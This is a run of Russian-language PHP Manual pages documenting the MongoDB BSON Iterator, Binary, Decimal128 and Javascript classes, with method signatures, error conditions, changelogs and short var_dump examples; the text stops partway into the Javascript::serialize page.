  • MongoDB\BSON\Iterator::__construct — Создаёт новый итератор BSON (не используется)
  • MongoDB\BSON\Iterator::current — Возвращает текущий элемент
  • MongoDB\BSON\Iterator::key — Возвращает ключ текущего элемента
  • MongoDB\BSON\Iterator::next — Перемещает итератор к следующему элементу
  • MongoDB\BSON\Iterator::rewind — Перематывает итератор к первому элементу
  • MongoDB\BSON\Iterator::valid — Проверяет, является ли текущая позиция корректной

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый итератор BSON (не используется)

  • « MongoDB\BSON\Iterator
  • MongoDB\BSON\Iterator::current »
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Создаёт новый итератор BSON (не используется)

MongoDB\BSON\Iterator::__construct

(Информация о версии неизвестна, возможно, только в Git)

MongoDB\BSON\Iterator::__construct — Создаёт новый итератор BSON (не используется)

Описание

final private MongoDB\BSON\Iterator::__construct()

Объекты MongoDB\BSON\Iterator создаются путём вызова MongoDB\BSON\Document::getIterator() или MongoDB\BSON\PackedArray::getIterator() и не могут быть инициализированы напрямую.

Список параметров

У этой функции нет параметров.

Смотрите также

  • MongoDB\BSON\Document::getIterator() - Возвращает итератор для документа BSON
  • MongoDB\BSON\PackedArray::getIterator() - Возвращает итератор для массива BSON
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий элемент

  • « MongoDB\BSON\Iterator::__construct
  • MongoDB\BSON\Iterator::key »
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Возвращает текущий элемент

MongoDB\BSON\Iterator::current

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::current — Возвращает текущий элемент

Описание

public MongoDB\BSON\Iterator::current(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает значение текущего элемента.

Замечание: Если в структуре BSON встречается значение, закодированное как 64-битное целое число, то возвращаемым значением метода будет экземпляр MongoDB\BSON\Int64.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключениеMongoDB\Driver\Exception\LogicException, если итератор не является корректным.

Смотрите также

  • Iterator::current() - Возврат текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ключ текущего элемента

  • « MongoDB\BSON\Iterator::current
  • MongoDB\BSON\Iterator::next »
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Возвращает ключ текущего элемента

MongoDB\BSON\Iterator::key

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::key — Возвращает ключ текущего элемента

Описание

public MongoDB\BSON\Iterator::key(): string|int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ключ текущего элемента. При итерации BSON-документа ключом всегда будет строка (string). При итерации массива BSON ключом будет целое число (int).

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\LogicException, если итератор не является корректным.

Смотрите также

  • Iterator::key() - Возвращает ключ текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор к следующему элементу

  • « MongoDB\BSON\Iterator::key
  • MongoDB\BSON\Iterator::rewind »
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Перемещает итератор к следующему элементу

MongoDB\BSON\Iterator::next

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::next — Перемещает итератор к следующему элементу

Описание

public MongoDB\BSON\Iterator::next(): void

Список параметров

У этой функции нет параметров.

Смотрите также

  • Iterator::next() - Переходит к следующему элементу

User Contributed Notes

There are no user contributed notes for this page.


Перематывает итератор к первому элементу

  • « MongoDB\BSON\Iterator::next
  • MongoDB\BSON\Iterator::valid »
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Перематывает итератор к первому элементу

MongoDB\BSON\Iterator::rewind

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::rewind — Перематывает итератор к первому элементу

Описание

public MongoDB\BSON\Iterator::rewind(): void

Список параметров

У этой функции нет параметров.

Смотрите также

  • Iterator::rewind() - Возвращает итератор на первый элемент

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли текущая позиция корректной

  • « MongoDB\BSON\Iterator::rewind
  • MongoDB\BSON\Binary »
  • PHP Manual
  • MongoDB\BSON\Iterator
  • Проверяет, является ли текущая позиция корректной

MongoDB\BSON\Iterator::valid

(mongodb >=1.16.0)

MongoDB\BSON\Iterator::valid — Проверяет, является ли текущая позиция корректной

Описание

public MongoDB\BSON\Iterator::valid(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если текущая позиция итератора корректная, в противном случае возвращает false.

Смотрите также

  • Iterator::valid() - Проверяет корректность текущей позиции

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Binary

(mongodb >=1.0.0)

Введение

Тип BSON для бинарных данных (т.е. массива байт). Бинарные значения также имеют подтип, обозначающий, какой тип данных содержится в массиве байт. Подтипы с нуля до 127 предопределены или зарезервированы. Подтипы с 128-255 задаются пользователем.

Обзор классов

final class MongoDB\BSON\Binary implements MongoDB\BSON\BinaryInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Константы */
const int TYPE_GENERIC = 0;
const int TYPE_FUNCTION = 1;
const int TYPE_OLD_BINARY = 2;
const int TYPE_OLD_UUID = 3;
const int TYPE_UUID = 4;
const int TYPE_MD5 = 5;
const int TYPE_ENCRYPTED = 6;
const int TYPE_COLUMN = 7;
const int TYPE_USER_DEFINED = 128;
/* Методы */
final public __construct(string $data, int $type = MongoDB\BSON\Binary::TYPE_GENERIC)
final public getData(): string
final public getType(): int
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Предопределённые константы

MongoDB\BSON\Binary::TYPE_GENERIC

Бинарные данные

MongoDB\BSON\Binary::TYPE_FUNCTION

Функция

MongoDB\BSON\Binary::TYPE_OLD_BINARY

Бинарные данные (объявлена устаревшей, используйте MongoDB\BSON\Binary::TYPE_GENERIC)

MongoDB\BSON\Binary::TYPE_OLD_UUID

Универсальный уникальный идентификатор (объявлена устаревшей. Используйте MongoDB\BSON\Binary::TYPE_UUID). При использовании этого типа, бинарные данные должны быть длиной 16 байт.

Исторически другие значения кодированные этим типов, но другими драйверами, базируются на других конвенциях (например, разный тип порядка байт), что делает его непереносимым. Драйвер PHP не применяет каких-либо обработок для данных этого типа.

MongoDB\BSON\Binary::TYPE_UUID

Универсальный уникальный идентификатор. При использовании этого типа, бинарные данные должны быть длиной 16 байт » RFC 4122.

MongoDB\BSON\Binary::TYPE_MD5

Хеш MD5. При использовании этого типа, бинарные данные должны быть длиной 16 байт.

MongoDB\BSON\Binary::TYPE_ENCRYPTED

Зашифрованное значение. Этот подтип используется для шифрования на стороне клиента.

MongoDB\BSON\Binary::TYPE_COLUMN

Данные столбца. Подтип используется для коллекций временных рядов.

MongoDB\BSON\Binary::TYPE_USER_DEFINED

Пользовательский тип. В то время как типы с 0 по 127 предопределены, либо зарезервированы, типы со 128 по 255 могут использоваться для чего угодно.

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+. Добавлен тип MongoDB\BSON\Binary::TYPE_COLUMN.
PECL mongodb 1.7.0 | Добавлен тип MongoDB\BSON\Binary::TYPE_ENCRYPTED.
PECL mongodb 1.3.0 | Реализует интерфейс MongoDB\BSON\BinaryInterface.
PECL mongodb 1.2.0 | Реализует интерфейсы Serializable и JsonSerializable.

Содержание

  • MongoDB\BSON\Binary::__construct — Создаёт новый Binary
  • MongoDB\BSON\Binary::getData — Возвращает данные Binary
  • MongoDB\BSON\Binary::getType — Возвращает тип Binary
  • MongoDB\BSON\Binary::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\Binary::serialize — Сериализует Binary
  • MongoDB\BSON\Binary::__toString — Возвращает данные Binary
  • MongoDB\BSON\Binary::unserialize — Десериализует Binary

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый Binary

  • « MongoDB\BSON\Binary
  • MongoDB\BSON\Binary::getData »
  • PHP Manual
  • MongoDB\BSON\Binary
  • Создаёт новый Binary

MongoDB\BSON\Binary::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Binary::__construct — Создаёт новый Binary

Описание

final public MongoDB\BSON\Binary::__construct(string $data, int $type = MongoDB\BSON\Binary::TYPE_GENERIC)

Список параметров

data (string)

Двоичные данные.

type (int)

8-разрядное целое число, обозначающее тип данных. По умолчанию принимает значение MongoDB\BSON\Binary::TYPE_GENERIC, если не указано.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт MongoDB\Driver\Exception\InvalidArgumentException, если type не является 8-разрядным целым числом.
  • Выдаёт MongoDB\Driver\Exception\InvalidArgumentException, если type является MongoDB\BSON\Binary::TYPE_UUID или MongoDB\BSON\Binary::TYPE_OLD_UUID, а длина data не равна 16 байтам.

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Параметр type по умолчанию принимает значение MongoDB\BSON\Binary::TYPE_GENERIC, если не указан.
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\InvalidArgumentException выдаётся, если type является MongoDB\BSON\Binary::TYPE_UUID или MongoDB\BSON\Binary::TYPE_OLD_UUID, а длина data не равна 16 байтам.
PECL mongodb 1.1.3 | MongoDB\Driver\Exception\InvalidArgumentException выдаётся, если type не является 8-разрядным целым числом.

Примеры

Пример #1 Пример использования MongoDB\BSON\Binary::__construct()

<?php

$binary = new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC);
var_dump($binary);

?>

Результат выполнения данного примера:

object(MongoDB\BSON\Binary)#1 (2) {
  ["data"]=>
  string(3) "foo"
  ["type"]=>
  int(0)
}

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает данные Binary

  • « MongoDB\BSON\Binary::__construct
  • MongoDB\BSON\Binary::getType »
  • PHP Manual
  • MongoDB\BSON\Binary
  • Возвращает данные Binary

MongoDB\BSON\Binary::getData

(mongodb >=1.0.0)

MongoDB\BSON\Binary::getData — Возвращает данные Binary

Описание

final public MongoDB\BSON\Binary::getData(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные Binary.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\Binary::getData()

<?php

$binary = new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC);
var_dump($binary->getData());

?>

Результат выполнения данного примера:

string(3) "foo"

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип Binary

  • « MongoDB\BSON\Binary::getData
  • MongoDB\BSON\Binary::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\Binary
  • Возвращает тип Binary

MongoDB\BSON\Binary::getType

(mongodb >=1.0.0)

MongoDB\BSON\Binary::getType — Возвращает тип Binary

Описание

final public MongoDB\BSON\Binary::getType(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает тип Binary.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\Binary::getType()

<?php

$binary = new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC);
var_dump($binary->getType());

?>

Результат выполнения данного примера:

int(0)

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\Binary::getType
  • MongoDB\BSON\Binary::serialize »
  • PHP Manual
  • MongoDB\BSON\Binary
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\Binary::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Binary::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\Binary::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые можно сериализовать с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\Binary.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует Binary

  • « MongoDB\BSON\Binary::jsonSerialize
  • MongoDB\BSON\Binary::__toString »
  • PHP Manual
  • MongoDB\BSON\Binary
  • Сериализует Binary

MongoDB\BSON\Binary::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Binary::serialize — Сериализует Binary

Описание

final public MongoDB\BSON\Binary::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\Binary.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Binary::unserialize() - Десериализует Binary
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает данные Binary

  • « MongoDB\BSON\Binary::serialize
  • MongoDB\BSON\Binary::unserialize »
  • PHP Manual
  • MongoDB\BSON\Binary
  • Возвращает данные Binary

MongoDB\BSON\Binary::__toString

(mongodb >=1.2.0)

MongoDB\BSON\Binary::__toString — Возвращает данные Binary

Описание

final public MongoDB\BSON\Binary::__toString(): string

Метод является псевдонимом: MongoDB\BSON\Binary::getData().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные Binary.

Примеры

Пример #1 Пример использования MongoDB\BSON\Binary::__toString()

<?php

var_dump((string) new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC));

?>

Результат выполнения данного примера:

string(3) "foo"

Смотрите также

  • MongoDB\BSON\Binary::getData() - Возвращает данные Binary
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Десериализует Binary

  • « MongoDB\BSON\Binary::__toString
  • MongoDB\BSON\Decimal128 »
  • PHP Manual
  • MongoDB\BSON\Binary
  • Десериализует Binary

MongoDB\BSON\Binary::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Binary::unserialize — Десериализует Binary

Описание

final public MongoDB\BSON\Binary::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\Binary.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть десериализованы (например, serialized был неправильно сформирован).
  • Выдаёт MongoDB\Driver\Exception\InvalidArgumentException, если свойства недопустимы (например, отсутствуют поля или недопустимые значения).

Смотрите также

  • MongoDB\BSON\Binary::serialize() - Сериализует Binary
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Decimal128

(mongodb >=1.2.0)

Введение

Тип BSON для » Decimal128 формата с плавающей точкой, который поддерживает числа до 34 десятичных знаков (то есть значимых цифр) и диапазон экспонент от -6143 до +6144.

В отличие от типа double BSON (то есть float в PHP), который хранит только приблизительные значения десятичных значений, тип данных decimal хранит точное значение. Например, MongoDB\BSON\Decimal128('9.99') имеет точное значение 9ю99, где двойное значение 9ю99 будет иметь приблизительное значение 9.9900000000000002131628....

Замечание: MongoDB\BSON\Decimal128 совместим только с MongoDB 3.4+. При попытке использовать тип BSON с более ранними версиями приведёт к ошибке.

Обзор классов

final class MongoDB\BSON\Decimal128 implements MongoDB\BSON\Decimal128Interface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final public __construct(string $value)
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.
PECL mongodb 1.3.0 | Реализует интерфейс MongoDB\BSON\Decimal128Interface.
PECL mongodb 1.2.0 | Реализует интерфейсы Serializable и JsonSerializable.

Содержание

  • MongoDB\BSON\Decimal128::__construct — Создаёт новый Decimal128
  • MongoDB\BSON\Decimal128::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\Decimal128::serialize — Сериализирует Decimal128
  • MongoDB\BSON\Decimal128::__toString — Возвращает строковое представление Decimal128
  • MongoDB\BSON\Decimal128::unserialize — Десериализует Decimal128

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый Decimal128

  • « MongoDB\BSON\Decimal128
  • MongoDB\BSON\Decimal128::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Создаёт новый Decimal128

MongoDB\BSON\Decimal128::__construct

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::__construct — Создаёт новый Decimal128

Описание

final public MongoDB\BSON\Decimal128::__construct(string $value)

Замечание: MongoDB\BSON\Decimal128 совместим только с MongoDB 3.4+. При попытке использовать тип BSON с более ранними версиями приведёт к ошибке.

Список параметров

value (string)

Десятичная строка.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт исключение MongoDB\Driver\Exception\InvalidArgumentException, если value не является допустимой десятичной строкой.

Примеры

Пример #1 Пример использования MongoDB\BSON\Decimal128::__construct()

<?php

var_dump(new MongoDB\BSON\Decimal128(1234.5678));
var_dump(new MongoDB\BSON\Decimal128(NAN));
var_dump(new MongoDB\BSON\Decimal128(INF));

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\BSON\Decimal128)#1 (1) {
  ["dec"]=>
  string(9) "1234.5678"
}
object(MongoDB\BSON\Decimal128)#1 (1) {
  ["dec"]=>
  string(3) "NaN"
}
object(MongoDB\BSON\Decimal128)#1 (1) {
  ["dec"]=>
  string(8) "Infinity"
}

Смотрите также

  • » Формат с плавающей точкой Decimal128
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\Decimal128::__construct
  • MongoDB\BSON\Decimal128::serialize »
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\Decimal128::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\Decimal128::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы json_encode() для создания расширенного JSON-представления MongoDB\BSON\Decimal128.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализирует Decimal128

  • « MongoDB\BSON\Decimal128::jsonSerialize
  • MongoDB\BSON\Decimal128::__toString »
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Сериализирует Decimal128

MongoDB\BSON\Decimal128::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::serialize — Сериализирует Decimal128

Описание

final public MongoDB\BSON\Decimal128::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\Decimal128.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Decimal128::unserialize() - Десериализует Decimal128
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление Decimal128

  • « MongoDB\BSON\Decimal128::serialize
  • MongoDB\BSON\Decimal128::unserialize »
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Возвращает строковое представление Decimal128

MongoDB\BSON\Decimal128::__toString

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::__toString — Возвращает строковое представление Decimal128

Описание

final public MongoDB\BSON\Decimal128::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление Decimal128.

Примеры

Пример #1 Пример использования MongoDB\BSON\Decimal128::__toString()

<?php

var_dump((string) new MongoDB\BSON\Decimal128(1234.5678));
var_dump((string) new MongoDB\BSON\Decimal128(NAN));
var_dump((string) new MongoDB\BSON\Decimal128(INF));

?>

Результатом выполнения данного примера будет что-то подобное:

string(9) "1234.5678"
string(3) "NaN"
string(8) "Infinity"

Смотрите также

  • » Формат с плавающей точкой Decimal128
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Десериализует Decimal128

  • « MongoDB\BSON\Decimal128::__toString
  • MongoDB\BSON\Javascript »
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Десериализует Decimal128

MongoDB\BSON\Decimal128::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::unserialize — Десериализует Decimal128

Описание

final public MongoDB\BSON\Decimal128::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\Decimal128.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт исключение MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть десериализованы (например, параметр serialized был искажён).
  • Выдаёт исключение MongoDB\Driver\Exception\InvalidArgumentException, если свойства недействительны (например, отсутствуют поля или недопустимые значения).

Смотрите также

  • MongoDB\BSON\Decimal128::serialize() - Сериализирует Decimal128
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Javascript

(mongodb >=1.0.0)

Введение

Тип BSON для кода Javascript. Может быть указан необязательный документ области видимости, который сопоставляет идентификаторы со значениями и определяет область, в которой код должен оцениваться сервером.

Замечание: Этот тип BSON в основном используется при выполнении команд базы данных, которые принимают функцию Javascript в качестве параметра, например » mapReduce.

Обзор классов

final class MongoDB\BSON\Javascript implements MongoDB\BSON\JavascriptInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final public __construct(string $code, array|object|null $scope = null)
final public getCode(): string
final public getScope(): ?object
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.
PECL mongodb 1.3.0 | Реализует интерфейс MongoDB\BSON\JavascriptInterface.
PECL mongodb 1.2.0 | Реализует интерфейсы Serializable и JsonSerializable.

Содержание

  • MongoDB\BSON\Javascript::__construct — Конструктор Javascript
  • MongoDB\BSON\Javascript::getCode — Возвращает код JavaScript
  • MongoDB\BSON\Javascript::getScope — Возвращает область документа JavaScript
  • MongoDB\BSON\Javascript::jsonSerialize — Возвращает представление, которое может быть преобразовано в JSON
  • MongoDB\BSON\Javascript::serialize — Сериализовать JavaScript
  • MongoDB\BSON\Javascript::__toString — Возвращает код JavaScript
  • MongoDB\BSON\Javascript::unserialize — Десериализовать JavaScript

User Contributed Notes

There are no user contributed notes for this page.


Конструктор Javascript

  • « MongoDB\BSON\Javascript
  • MongoDB\BSON\Javascript::getCode »
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Конструктор Javascript

MongoDB\BSON\Javascript::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Javascript::__construct — Конструктор Javascript

Описание

final public MongoDB\BSON\Javascript::__construct(string $code, array|object|null $scope = null)

Список параметров

code (string)

Код Javascript.

scope (array|object)

Контекст Javascript.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Порождает исключение MongoDB\Driver\Exception\InvalidArgumentException если code содержит null-байты.

Список изменений

Версия | Описание
PECL mongodb 1.2.0 | Порождает исключение MongoDB\Driver\Exception\InvalidArgumentException если code содержит null-байты. Ранее, в подобном случае, аргумент обрезался про первому встретившемуся null-байту.

Примеры

Пример #1 Пример использования MongoDB\BSON\Javascript::__construct()

<?php

$code = new MongoDB\BSON\Javascript('function() { return 1; }');
var_dump($code);

$codews = new MongoDB\BSON\Javascript('function() { return foo; }', ['foo' => 'bar']);
var_dump($codews);

?>

Результат выполнения данного примера:

object(MongoDB\BSON\Javascript)#1 (2) {
  ["javascript"]=>
  string(24) "function() { return 1; }"
  ["scope"]=>
  object(stdClass)#2 (0) {
  }
}
object(MongoDB\BSON\Javascript)#2 (2) {
  ["javascript"]=>
  string(26) "function() { return foo; }"
  ["scope"]=>
  object(stdClass)#1 (1) {
    ["foo"]=>
    string(3) "bar"
  }
}

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код JavaScript

  • « MongoDB\BSON\Javascript::__construct
  • MongoDB\BSON\Javascript::getScope »
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Возвращает код JavaScript

MongoDB\BSON\Javascript::getCode

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::getCode — Возвращает код JavaScript

Описание

final public MongoDB\BSON\Javascript::getCode(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код JavaScript.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\Javascript::getCode()

<?php

$js = new MongoDB\BSON\Javascript('function foo(bar) { return bar; }');
var_dump($js->getCode());

?>

Результат выполнения данного примера:

string(33) "function foo(bar) { return bar; }"

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает область документа JavaScript

  • « MongoDB\BSON\Javascript::getCode
  • MongoDB\BSON\Javascript::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Возвращает область документа JavaScript

MongoDB\BSON\Javascript::getScope

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::getScope — Возвращает область документа JavaScript

Описание

final public MongoDB\BSON\Javascript::getScope(): ?object

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает область документа JavaScript или null в случае, если области нет.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\Javascript::getScope()

<?php

$js = new MongoDB\BSON\Javascript('function foo(bar) { return bar; }');
var_dump($js->getScope());

$js = new MongoDB\BSON\Javascript('function foo() { return foo; }', ['foo' => 42]);
var_dump($js->getScope());

?>

Результат выполнения данного примера:

NULL
object(stdClass)#1 (1) {
  ["foo"]=>
  int(42)
}

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое может быть преобразовано в JSON

  • « MongoDB\BSON\Javascript::getScope
  • MongoDB\BSON\Javascript::serialize »
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Возвращает представление, которое может быть преобразовано в JSON

MongoDB\BSON\Javascript::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::jsonSerialize — Возвращает представление, которое может быть преобразовано в JSON

Описание

final public MongoDB\BSON\Javascript::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы json_encode() для создания JSON-представления MongoDB\BSON\Javascript.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » Расширенный JSON MongoDB

User Contributed Notes

There are no user contributed notes for this page.


Сериализовать JavaScript

  • « MongoDB\BSON\Javascript::jsonSerialize
  • MongoDB\BSON\Javascript::__toString »
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Сериализовать JavaScript

MongoDB\BSON\Javascript::serialize

